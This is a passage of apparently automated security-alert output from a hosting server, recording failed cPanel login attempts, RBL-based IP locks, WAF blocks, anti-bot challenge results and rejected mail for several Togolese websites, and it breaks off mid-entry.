203.132.68.28 - - [19/Jun/2026:03:18:18 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-19 03:17:40 +0000] info [cpaneld] 45.61.130.187 - pharma "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pharma (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:18:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:18:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:03:19:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262942&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781839150 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.101.114.101
country_id: 290557
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-18.191.101.114.101||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 154.16.69.250
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-18.154.16.69.250||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 191.101.92.218
country_id: 290557
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-18.191.101.92.218||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 137.184.239.147
country_id: 6252001
description:
Jun 19 03:19:09 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 137.184.239.147 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:19:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6591595&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781839152 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-19 03:19:59 +0000] info [cpaneld] 34.27.42.6 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 117.5.142.26
country_id: 1562822
domain: civilemagazine.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-20.117.5.142.26||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-19 03:22:29 +0000] info [cpaneld] 102.54.238.57 - afxvhoxo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user afxvhoxo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-06-19 03:23:04 +0000] info [cpaneld] 34.27.42.6 - arse "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arse (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 205.186.66.126
country_id: 2635167
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:03-23.205.186.66.126||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.50.120
country_id: 2635167
domain: www.afrique-distribution.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.afrique-distribution.net/sitemap.xml HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.53.56
country_id: 2635167
domain: www.afrique-distribution.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.afrique-distribution.net/wp-sitemap.xml HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.160.98
country_id: 6252001
domain: afrique-distribution.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/afrique-distribution.net/news-sitemap.xml HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.251.153
country_id: 6251999
domain: www.afrique-distribution.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.afrique-distribution.net/news-sitemap.xml HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.132.183
country_id: 1269750
description:
Jun 19 03:25:38 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.132.183 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.162
country_id: 226074
description:
Jun 19 03:28:46 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.162 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 03:29:10 +0000] info [cpaneld] 185.55.240.13 - cvajhehu "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cvajhehu (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:28:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7118438&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781839706 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.122.3.51
country_id: 1522867
description:
2026-06-19 03:29:30 H=([62.122.3.51]) [62.122.3.51]:10768 F=<John@4452.com> rejected RCPT <issj@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 03:30:31 +0000] info [cpaneld] 185.55.240.13 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.94.216.11
country_id: 1220409
description:
2026-06-19 03:30:59 H=([45.94.216.11]) [45.94.216.11]:31334 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 03:33:20 +0000] info [cpaneld] 185.55.240.13 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:34:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908571&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781840038 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:03:34:00 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793693&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781840039 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.101
country_id: 6252001
description:
Jun 19 03:34:32 ns5 pure-ftpd[3492518]: (?@198.235.24.101) [INFO] New connection from 198.235.24.101


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:34:47 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:34:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:34:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:34:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.125.240.192
country_id: 1733045
description:
27.125.240.192 - - [19/Jun/2026:03:35:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856658&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freussir-son-entretien-de-visa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781840135 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reussir-son-entretien-de-visa/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2609.1862 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.125.240.192


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 116.71.56.149
country_id: 1168579
description:
2026-06-19 03:36:50 H=([116.71.56.149]) [116.71.56.149]:59228 F=<John@4452.com> rejected RCPT <gilbert@sodigaz.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.72.150.250
country_id: 1814991
description:
Jun 19 03:37:08 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.72.150.250 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.177
country_id: 6290252
description:
Jun 19 03:37:02 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.177 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.2
country_id: 3175395
description:
Jun 19 03:37:58 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.2 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.68.31.198
country_id: 1269750
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/807a76 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.98.142.187
country_id: 783754
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-25-at-07.42.53-2-1024x683.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-25-at-07.42.53-2-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-25-at-07.42.53-2-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-25-at-07.42.53-2-272x182.jpeg 272w, http:/togodailynews.tg/wp-content/uploads/2024/03/WhatsApp-Image-2024-03-25-at-07.42.53-2.jpeg 1280w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 19 03:38:30 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 03:40:02 +0000] info [whostmgrd] 200.9.155.126 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 200.9.155.126
country_id: 3469034
description:
[2026-06-19 03:40:04 +0000] info [whostmgrd] 200.9.155.126 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 62.122.3.51
country_id: 1522867
description:
2026-06-19 03:39:33 H=([62.122.3.51]) [62.122.3.51]:10769 F=<John@4452.com> rejected RCPT <issj@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.92.66
country_id: 1512440
description:
2026-06-19 03:42:17 H=([213.230.92.66]) [213.230.92.66]:62741 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:42:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843799&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781840552 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.57
country_id: 1512440
description:
2026-06-19 03:44:53 H=([213.230.86.57]) [213.230.86.57]:20272 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.186.35.4
country_id: 1643084
description:
103.186.35.4 - - [19/Jun/2026:03:46:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6448281&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F4803&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781840793 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/wp/v2/posts/4803" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.186.35.4


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.124.227.82
country_id: 1210997
description:
103.124.227.82 - - [19/Jun/2026:03:48:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738393&pdata=https%253A%252F%252F24heureinfo.tg%252Fdiplomatie%252Ftsegan-ma-presence-est-lexpression-de-lamitie-profonde-qui-lie-le-mali-au-togo&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781840930 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/diplomatie/tsegan-ma-presence-est-lexpression-de-lamitie-profonde-qui-lie-le-mali-au-togo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.124.227.82


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [19/Jun/2026:03:50:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9946731&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841045 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:50:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9803667&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841049 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:51:26 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.87
country_id: 2077456
description:
103.108.92.87 - - [19/Jun/2026:03:51:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.87


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.55.240.13
country_id: 3017382
description:
[2026-06-19 03:51:10 +0000] info [cpaneld] 185.55.240.13 - seft "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user seft (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.137
country_id: 298795
description:
Jun 19 03:51:23 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.137 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:51:28 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.61.10.28
country_id: 3865483
description:
Jun 19 03:51:44 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.61.10.28 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 203.132.68.28
country_id: 2077456
description:
203.132.68.28 - - [19/Jun/2026:03:51:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.132.68.28


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.34.211.137
country_id: 298795
description:
Jun 19 03:51:30 ns5 auth[3268574]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.34.211.137 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.179.116.41
country_id: 2464461
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2020/11/mifa1.jpg 1080w, http:/togodailynews.tg/wp-content/uploads/2020/11/mifa1-300x178.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2020/11/mifa1-768x457.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2020/11/mifa1-1024x609.jpg 1024w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.148.23.180
country_id: 1282988
description:
103.148.23.180 - - [19/Jun/2026:03:55:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038613&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Fle-president-de-lassemblee-nationale-a-echange-avec-une-delegation-du-senat-americain%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781841327 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftogodailynews.tg%2Fle-president-de-lassemblee-nationale-a-echange-avec-une-delegation-du-senat-americain%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.148.23.180


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.87
country_id: 2077456
description:
